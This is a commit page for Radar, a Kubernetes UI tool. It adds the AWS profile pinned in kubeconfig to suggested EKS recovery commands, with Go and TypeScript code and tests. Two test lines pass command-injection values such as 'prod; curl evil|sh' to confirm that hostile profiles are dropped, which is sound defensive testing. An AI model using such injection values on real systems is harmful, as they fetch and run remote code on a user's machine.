Skip to content

Commit eb2f39b

Browse files
feimingFabian Chongnadaverellclaude
authored
Show AWS profile in EKS auth error hints (#1725)
When Radar cannot connect to an EKS cluster due to credential failure, the suggested `aws sso login` command now includes `--profile <name>` when the kubeconfig exec block pins a profile via the AWS_PROFILE env var or a --profile argument. `aws eks update-kubeconfig` always injects the profile as AWS_PROFILE in the exec env block, so this covers the common real-world case. ## Description Brief description of the changes in this PR. ## Type of change - [ ] Bug fix (non-breaking change that fixes an issue) - [x] New feature (non-breaking change that adds functionality) - [ ] Breaking change (fix or feature that would cause existing functionality to change) - [ ] Documentation update ## How has this been tested? Describe the tests you ran to verify your changes. - [ ] Tested locally with minikube/kind - [ ] Tested against a remote cluster - [x] Added/updated unit tests ## Checklist - [ ] My code follows the project's coding standards - [x] I have performed a self-review of my code - [x] I have added comments where necessary - [ ] My changes generate no new warnings - [ ] Any dependent changes have been merged ## Related issues Fixes #(issue number) <!-- CURSOR_SUMMARY --> --- > [!NOTE] > **Low Risk** > User-facing hint text and read-only kubeconfig parsing; shell interpolation is gated by an allowlist with tests for hostile profiles. > > **Overview** > **EKS connection errors now suggest AWS CLI commands with the same profile the kubeconfig exec block uses**, instead of assuming the terminal’s default profile. > > The backend adds `awsProfile` on each context by parsing `aws` / `aws-iam-authenticator` exec auth (`--profile` or `AWS_PROFILE`). For the active context it prefers the snapshotted kubeconfig used at client creation so the hint matches live credentials. The UI waits for contexts to load, then threads `awsProfile` into EKS auth, auth-rejected, and timeout hints (`aws sso login`, `aws eks update-kubeconfig`, STS/describe diagnostics). > > New `isShellSafeAWSProfile` / `awsProfileFlag` allow slash-separated SSO profile names but **omit** `--profile` when the value looks hostile, matching existing context-name safety for terminal-run commands. > > <sup>Reviewed by [Cursor Bugbot](https://cursor.com/bugbot) for commit 713af24. Bugbot is set up for automated code reviews on this repo. Configure [here](https://www.cursor.com/dashboard/bugbot).</sup> <!-- /CURSOR_SUMMARY --> --------- Co-authored-by: Fabian Chong <fabian.chong@grabtaxi.com> Co-authored-by: Nadav Erell <nadaverell@gmail.com> Co-authored-by: Claude Opus 5 (1M context) <noreply@anthropic.com>
1 parent 2de2457 commit eb2f39b

7 files changed

Lines changed: 255 additions & 25 deletions

File tree

‎internal/k8s/client.go‎

Lines changed: 56 additions & 5 deletions
Original file line numberDiff line numberDiff line change
@@ -1461,6 +1461,35 @@ type ContextInfo struct {
14611461
// loading; populated for every context — not just colliding ones — so
14621462
// the dropdown can show provenance even without ambiguity.
14631463
Source string `json:"source,omitempty"`
1464+
// AWSProfile is the AWS profile used by this context's exec plugin,
1465+
// extracted from --profile arg or AWS_PROFILE env var. Set only for
1466+
// EKS-style exec plugins (aws, aws-iam-authenticator).
1467+
AWSProfile string `json:"awsProfile,omitempty"`
1468+
}
1469+
1470+
func extractAWSProfile(ai *clientcmdapi.AuthInfo) string {
1471+
if ai == nil || ai.Exec == nil {
1472+
return ""
1473+
}
1474+
exec := ai.Exec
1475+
base := filepath.Base(exec.Command)
1476+
if base != "aws" && base != "aws-iam-authenticator" {
1477+
return ""
1478+
}
1479+
for i, arg := range exec.Args {
1480+
if arg == "--profile" && i+1 < len(exec.Args) {
1481+
return exec.Args[i+1]
1482+
}
1483+
if strings.HasPrefix(arg, "--profile=") {
1484+
return strings.TrimPrefix(arg, "--profile=")
1485+
}
1486+
}
1487+
for _, env := range exec.Env {
1488+
if env.Name == "AWS_PROFILE" {
1489+
return env.Value
1490+
}
1491+
}
1492+
return ""
14641493
}
14651494

14661495
// GetAvailableContexts returns all available contexts from the kubeconfig
@@ -1531,6 +1560,8 @@ func GetAvailableContexts() ([]ContextInfo, error) {
15311560
fileConfigs := perFileConfigs
15321561
currentCtx := contextName
15331562
singlePath := kubeconfigPath
1563+
activeCtxName := activeSourceName
1564+
activeConfig := activeSourceConfig
15341565
clientMu.Unlock()
15351566
if len(refreshEmptyAIs) > 0 {
15361567
recordEmptyCommandWarning("kubeconfig-refresh", refreshEmptyAIs)
@@ -1559,6 +1590,16 @@ func GetAvailableContexts() ([]ContextInfo, error) {
15591590
if !ok || ctx == nil {
15601591
continue
15611592
}
1593+
var awsProfile string
1594+
// For the active context use the snapshotted config from client
1595+
// creation so the hint matches the credential actually in use.
1596+
profileCfg := cfg
1597+
if qName == currentCtx && activeConfig != nil && activeCtxName == entry.InFileName {
1598+
profileCfg = activeConfig
1599+
}
1600+
if ai := profileCfg.AuthInfos[ctx.AuthInfo]; ai != nil {
1601+
awsProfile = extractAWSProfile(ai)
1602+
}
15621603
contexts = append(contexts, ContextInfo{
15631604
Name: qName,
15641605
OriginalName: entry.InFileName,
@@ -1567,6 +1608,7 @@ func GetAvailableContexts() ([]ContextInfo, error) {
15671608
Namespace: ctx.Namespace,
15681609
IsCurrent: qName == currentCtx,
15691610
Source: kubeconfigSourceLabel(entry.SourceFile),
1611+
AWSProfile: awsProfile,
15701612
})
15711613
}
15721614
return contexts, nil
@@ -1593,12 +1635,21 @@ func GetAvailableContexts() ([]ContextInfo, error) {
15931635
contexts := make([]ContextInfo, 0, len(rawConfig.Contexts))
15941636
for _, name := range sortedContextNames(&rawConfig) {
15951637
ctx := rawConfig.Contexts[name]
1638+
var awsProfile string
1639+
profileCfg := &rawConfig
1640+
if name == currentCtx && activeConfig != nil && activeCtxName == name {
1641+
profileCfg = activeConfig
1642+
}
1643+
if ai := profileCfg.AuthInfos[ctx.AuthInfo]; ai != nil {
1644+
awsProfile = extractAWSProfile(ai)
1645+
}
15961646
contexts = append(contexts, ContextInfo{
1597-
Name: name,
1598-
Cluster: ctx.Cluster,
1599-
User: ctx.AuthInfo,
1600-
Namespace: ctx.Namespace,
1601-
IsCurrent: name == currentCtx,
1647+
Name: name,
1648+
Cluster: ctx.Cluster,
1649+
User: ctx.AuthInfo,
1650+
Namespace: ctx.Namespace,
1651+
IsCurrent: name == currentCtx,
1652+
AWSProfile: awsProfile,
16021653
})
16031654
}
16041655
return contexts, nil

‎internal/k8s/client_test.go‎

Lines changed: 94 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -978,3 +978,97 @@ func containsSubstring(haystack, needle string) bool {
978978
}
979979
return false
980980
}
981+
982+
func TestExtractAWSProfile(t *testing.T) {
983+
tests := []struct {
984+
name string
985+
ai *clientcmdapi.AuthInfo
986+
want string
987+
}{
988+
{
989+
name: "nil AuthInfo",
990+
ai: nil,
991+
want: "",
992+
},
993+
{
994+
name: "no exec block",
995+
ai: &clientcmdapi.AuthInfo{},
996+
want: "",
997+
},
998+
{
999+
name: "non-AWS exec command",
1000+
ai: &clientcmdapi.AuthInfo{Exec: &clientcmdapi.ExecConfig{
1001+
Command: "gke-gcloud-auth-plugin",
1002+
Env: []clientcmdapi.ExecEnvVar{{Name: "AWS_PROFILE", Value: "should-be-ignored"}},
1003+
}},
1004+
want: "",
1005+
},
1006+
{
1007+
name: "AWS_PROFILE env var",
1008+
ai: &clientcmdapi.AuthInfo{Exec: &clientcmdapi.ExecConfig{
1009+
Command: "aws",
1010+
Args: []string{"--region", "ap-southeast-1", "eks", "get-token", "--cluster-name", "my-cluster", "--output", "json"},
1011+
Env: []clientcmdapi.ExecEnvVar{{Name: "AWS_PROFILE", Value: "myorg/my-account/my-role"}},
1012+
}},
1013+
want: "myorg/my-account/my-role",
1014+
},
1015+
{
1016+
name: "--profile flag (space-separated)",
1017+
ai: &clientcmdapi.AuthInfo{Exec: &clientcmdapi.ExecConfig{
1018+
Command: "aws",
1019+
Args: []string{"--profile", "my-profile", "eks", "get-token", "--cluster-name", "my-cluster"},
1020+
}},
1021+
want: "my-profile",
1022+
},
1023+
{
1024+
name: "--profile= (equals-separated)",
1025+
ai: &clientcmdapi.AuthInfo{Exec: &clientcmdapi.ExecConfig{
1026+
Command: "aws",
1027+
Args: []string{"--profile=my-profile", "eks", "get-token"},
1028+
}},
1029+
want: "my-profile",
1030+
},
1031+
{
1032+
name: "--profile arg with no following value",
1033+
ai: &clientcmdapi.AuthInfo{Exec: &clientcmdapi.ExecConfig{
1034+
Command: "aws",
1035+
Args: []string{"--profile"},
1036+
}},
1037+
want: "",
1038+
},
1039+
{
1040+
name: "--profile flag takes precedence over AWS_PROFILE env var",
1041+
ai: &clientcmdapi.AuthInfo{Exec: &clientcmdapi.ExecConfig{
1042+
Command: "aws",
1043+
Args: []string{"--profile", "from-flag"},
1044+
Env: []clientcmdapi.ExecEnvVar{{Name: "AWS_PROFILE", Value: "from-env"}},
1045+
}},
1046+
want: "from-flag",
1047+
},
1048+
{
1049+
name: "aws-iam-authenticator command",
1050+
ai: &clientcmdapi.AuthInfo{Exec: &clientcmdapi.ExecConfig{
1051+
Command: "aws-iam-authenticator",
1052+
Env: []clientcmdapi.ExecEnvVar{{Name: "AWS_PROFILE", Value: "myorg/my-account/my-role"}},
1053+
}},
1054+
want: "myorg/my-account/my-role",
1055+
},
1056+
{
1057+
name: "full path to aws binary",
1058+
ai: &clientcmdapi.AuthInfo{Exec: &clientcmdapi.ExecConfig{
1059+
Command: "/usr/local/bin/aws",
1060+
Env: []clientcmdapi.ExecEnvVar{{Name: "AWS_PROFILE", Value: "my-profile"}},
1061+
}},
1062+
want: "my-profile",
1063+
},
1064+
}
1065+
1066+
for _, tt := range tests {
1067+
t.Run(tt.name, func(t *testing.T) {
1068+
got := extractAWSProfile(tt.ai)
1069+
if got != tt.want {
1070+
t.Errorf("extractAWSProfile() = %q, want %q", got, tt.want)
1071+
}
1072+
})
1073+
}
1074+
}

‎packages/k8s-ui/src/types/core.ts‎

Lines changed: 3 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -516,6 +516,9 @@ export interface ContextInfo {
516516
/** Source kubeconfig label (e.g. "kube-cluster-paris"). Set by the backend
517517
* for contexts loaded through the isolated source registry. */
518518
source?: string
519+
/** AWS profile extracted from the exec plugin's --profile arg or AWS_PROFILE
520+
* env var. Present only for EKS contexts that pin a profile. */
521+
awsProfile?: string
519522
}
520523

521524
// Namespace

‎web/src/components/ConnectionErrorView.test.tsx‎

Lines changed: 30 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -71,6 +71,36 @@ describe('ConnectionErrorView authentication guidance', () => {
7171
expect(hints.fallbackCommand?.command).toBe('aws sso login')
7272
})
7373

74+
it('pins the kubeconfig AWS profile on every EKS command that would otherwise use the ambient one', () => {
75+
const context = 'arn:aws:eks:us-east-1:123456789012:cluster/prod'
76+
const profile = 'myorg/prod/admin'
77+
78+
const rejected = getAuthRejectedHints(context, profile)
79+
expect(rejected.fallbackCommand?.command).toBe('aws sso login --profile myorg/prod/admin')
80+
expect(rejected.authCommand?.command).toBe(
81+
'aws sts get-caller-identity --profile myorg/prod/admin && aws eks describe-cluster --name prod --region us-east-1 --profile myorg/prod/admin --query cluster.accessConfig.authenticationMode --output text',
82+
)
83+
expect(rejected.hints.join(' ')).not.toContain("terminal's current AWS profile")
84+
85+
const auth = selectConnectionHints('auth', context, undefined, profile)
86+
expect(auth?.authCommand?.command).toBe('aws sso login --profile myorg/prod/admin')
87+
expect(auth?.fallbackCommand?.command).toBe('aws eks update-kubeconfig --name prod --region us-east-1 --profile myorg/prod/admin')
88+
89+
const timeout = selectConnectionHints('timeout', context, undefined, profile)
90+
expect(timeout?.authCommand?.command).toBe('aws sso login --profile myorg/prod/admin')
91+
expect(timeout?.fallbackCommand?.command).toBe('aws eks update-kubeconfig --name prod --region us-east-1 --profile myorg/prod/admin')
92+
})
93+
94+
it('drops a hostile AWS profile instead of interpolating it', () => {
95+
const context = 'arn:aws:eks:us-east-1:123456789012:cluster/prod'
96+
const hints = getAuthRejectedHints(context, 'prod; curl evil|sh')
97+
98+
expect(hints.fallbackCommand?.command).toBe('aws sso login')
99+
expect(hints.authCommand?.command).toBe(
100+
'aws sts get-caller-identity && aws eks describe-cluster --name prod --region us-east-1 --query cluster.accessConfig.authenticationMode --output text',
101+
)
102+
})
103+
74104
it('does not offer interpolated commands for hostile GKE context values', () => {
75105
const hints = getAuthRejectedHints('gke_project_us-east1_prod;curl evil|sh')
76106

‎web/src/components/ConnectionErrorView.tsx‎

Lines changed: 31 additions & 19 deletions
Original file line numberDiff line numberDiff line change
@@ -6,7 +6,7 @@ import { parseContextName } from '../utils/context-name'
66
import { useOpenLocalTerminal, ClusterName } from '@skyhook-io/k8s-ui'
77
import { useAuthMe, useContexts } from '../api/client'
88
import { Tooltip } from './ui/Tooltip'
9-
import { allShellSafe } from '../utils/shell-safe'
9+
import { allShellSafe, awsProfileFlag } from '../utils/shell-safe'
1010
import { apiUrl } from '../api/config'
1111
import { useCapabilitiesContext } from '../contexts/CapabilitiesContext'
1212

@@ -33,7 +33,7 @@ interface AuthHints {
3333
hideAuthButton?: boolean
3434
}
3535

36-
function getAuthHints(context: string): AuthHints {
36+
function getAuthHints(context: string, awsProfile?: string): AuthHints {
3737
const parsed = parseContextName(context)
3838

3939
switch (parsed.provider) {
@@ -54,18 +54,19 @@ function getAuthHints(context: string): AuthHints {
5454
return result
5555
}
5656
case 'EKS': {
57+
const profileFlag = awsProfileFlag(awsProfile)
5758
const result: AuthHints = {
5859
title: 'EKS Authentication Failed',
5960
hints: [
6061
'Radar could not get AWS credentials for this context.',
6162
'For AWS SSO contexts, the SSO session may need login.',
6263
],
63-
authCommand: { label: 'If this context uses AWS SSO, refresh credentials:', command: 'aws sso login' },
64+
authCommand: { label: 'If this context uses AWS SSO, refresh credentials:', command: `aws sso login${profileFlag}` },
6465
}
6566
if (parsed.region && allShellSafe(parsed.clusterName, parsed.region)) {
6667
result.fallbackCommand = {
6768
label: 'If that doesn\'t work, refresh cluster credentials:',
68-
command: `aws eks update-kubeconfig --name ${parsed.clusterName} --region ${parsed.region}`,
69+
command: `aws eks update-kubeconfig --name ${parsed.clusterName} --region ${parsed.region}${profileFlag}`,
6970
}
7071
}
7172
return result
@@ -88,26 +89,34 @@ function getAuthHints(context: string): AuthHints {
8889
}
8990
}
9091

91-
export function getAuthRejectedHints(context: string): AuthHints {
92+
export function getAuthRejectedHints(context: string, awsProfile?: string): AuthHints {
9293
const parsed = parseContextName(context)
9394

9495
switch (parsed.provider) {
9596
case 'EKS': {
97+
const profileFlag = awsProfileFlag(awsProfile)
9698
const result: AuthHints = {
9799
title: 'EKS Could Not Authenticate This Request',
98100
hints: [
99101
'EKS returned HTTP 401, so Kubernetes could not authenticate this request.',
100102
'The AWS credential may be missing, stale, or revoked, or its IAM principal may not be mapped through an EKS access entry or the cluster\'s legacy aws-auth configuration.',
101103
'If the credential is current, ask a cluster admin to verify the mapping for the IAM principal used by this context.',
102-
'The diagnostic uses the terminal\'s current AWS profile. If the kubeconfig exec block pins AWS_PROFILE or --role-arn, use that profile or role instead.',
104+
profileFlag
105+
? 'The commands below use the AWS profile pinned by this context\'s kubeconfig exec block. If it also pins --role-arn, inspect that role instead.'
106+
: 'The diagnostic uses the terminal\'s current AWS profile. If the kubeconfig exec block pins AWS_PROFILE or --role-arn, use that profile or role instead.',
103107
'API and API_AND_CONFIG_MAP modes use access entries; CONFIG_MAP mode uses the aws-auth ConfigMap.',
104108
],
105-
fallbackCommand: { label: 'If this context uses the current AWS SSO profile, re-login and retry:', command: 'aws sso login' },
109+
fallbackCommand: {
110+
label: profileFlag ? 'If this profile uses AWS SSO, re-login and retry:' : 'If this context uses the current AWS SSO profile, re-login and retry:',
111+
command: `aws sso login${profileFlag}`,
112+
},
106113
}
107114
if (parsed.region && allShellSafe(parsed.clusterName, parsed.region)) {
108115
result.authCommand = {
109-
label: 'Inspect the caller and authentication mode for the current terminal AWS profile:',
110-
command: `aws sts get-caller-identity && aws eks describe-cluster --name ${parsed.clusterName} --region ${parsed.region} --query cluster.accessConfig.authenticationMode --output text`,
116+
label: profileFlag
117+
? 'Inspect the caller and authentication mode for the pinned AWS profile:'
118+
: 'Inspect the caller and authentication mode for the current terminal AWS profile:',
119+
command: `aws sts get-caller-identity${profileFlag} && aws eks describe-cluster --name ${parsed.clusterName} --region ${parsed.region}${profileFlag} --query cluster.accessConfig.authenticationMode --output text`,
111120
}
112121
// A diagnostic, not a re-auth — the "Authenticate in terminal" button
113122
// would misrepresent what running it does.
@@ -167,7 +176,7 @@ function getAuthPluginStuckHints(): AuthHints {
167176
}
168177
}
169178

170-
function getTimeoutHints(context: string): AuthHints | null {
179+
function getTimeoutHints(context: string, awsProfile?: string): AuthHints | null {
171180
const parsed = parseContextName(context)
172181
const baseHints = [
173182
'The Kubernetes API did not respond before the deadline.',
@@ -192,15 +201,16 @@ function getTimeoutHints(context: string): AuthHints | null {
192201
return result
193202
}
194203
case 'EKS': {
204+
const profileFlag = awsProfileFlag(awsProfile)
195205
const result: AuthHints = {
196206
title: 'Connection Timed Out',
197207
hints: [...baseHints, 'If the endpoint is reachable, AWS credentials or SSO may need refresh.'],
198-
authCommand: { label: 'If this context uses AWS SSO and network access looks healthy, refresh credentials:', command: 'aws sso login' },
208+
authCommand: { label: 'If this context uses AWS SSO and network access looks healthy, refresh credentials:', command: `aws sso login${profileFlag}` },
199209
}
200210
if (parsed.region && allShellSafe(parsed.clusterName, parsed.region)) {
201211
result.fallbackCommand = {
202212
label: 'If that does not work, refresh cluster credentials:',
203-
command: `aws eks update-kubeconfig --name ${parsed.clusterName} --region ${parsed.region}`,
213+
command: `aws eks update-kubeconfig --name ${parsed.clusterName} --region ${parsed.region}${profileFlag}`,
204214
}
205215
}
206216
return result
@@ -322,17 +332,17 @@ export function CopyableCommand({ command, onRunInTerminal }: { command: string;
322332
)
323333
}
324334

325-
export function selectConnectionHints(errorType: string | undefined, context: string, originalContext?: string): AuthHints | null {
335+
export function selectConnectionHints(errorType: string | undefined, context: string, originalContext?: string, awsProfile?: string): AuthHints | null {
326336
const parsedContext = originalContext || context
327337
switch (errorType) {
328338
case 'auth':
329-
return getAuthHints(parsedContext)
339+
return getAuthHints(parsedContext, awsProfile)
330340
case 'auth-rejected':
331-
return getAuthRejectedHints(parsedContext)
341+
return getAuthRejectedHints(parsedContext, awsProfile)
332342
case 'auth-plugin-stuck':
333343
return getAuthPluginStuckHints()
334344
case 'timeout':
335-
return getTimeoutHints(parsedContext)
345+
return getTimeoutHints(parsedContext, awsProfile)
336346
default:
337347
return null
338348
}
@@ -344,9 +354,11 @@ export function ConnectionErrorView({ connection, onRetry, isRetrying }: Connect
344354
const isAuthRejected = connection.errorType === 'auth-rejected'
345355
const isAuthPluginStuck = connection.errorType === 'auth-plugin-stuck'
346356
const isAuthError = isAuth || isAuthRejected || isAuthPluginStuck
347-
const { data: contexts } = useContexts()
348-
const originalContext = contexts?.find((context) => context.name === connection.context)?.originalName
349-
const commandInfo = selectConnectionHints(connection.errorType, connection.context || '', originalContext)
357+
const { data: contexts, isLoading: contextsLoading } = useContexts()
358+
const matchedContext = contexts?.find((context) => context.name === connection.context)
359+
const originalContext = matchedContext?.originalName
360+
const awsProfile = contextsLoading ? undefined : matchedContext?.awsProfile
361+
const commandInfo = selectConnectionHints(connection.errorType, connection.context || '', originalContext, awsProfile)
350362
const errorInfo = commandInfo || errorHints[connection.errorType || 'unknown'] || errorHints.unknown
351363
const openLocalTerminal = useOpenLocalTerminal()
352364
const { data: authMe } = useAuthMe()

0 commit comments

Comments
 (0)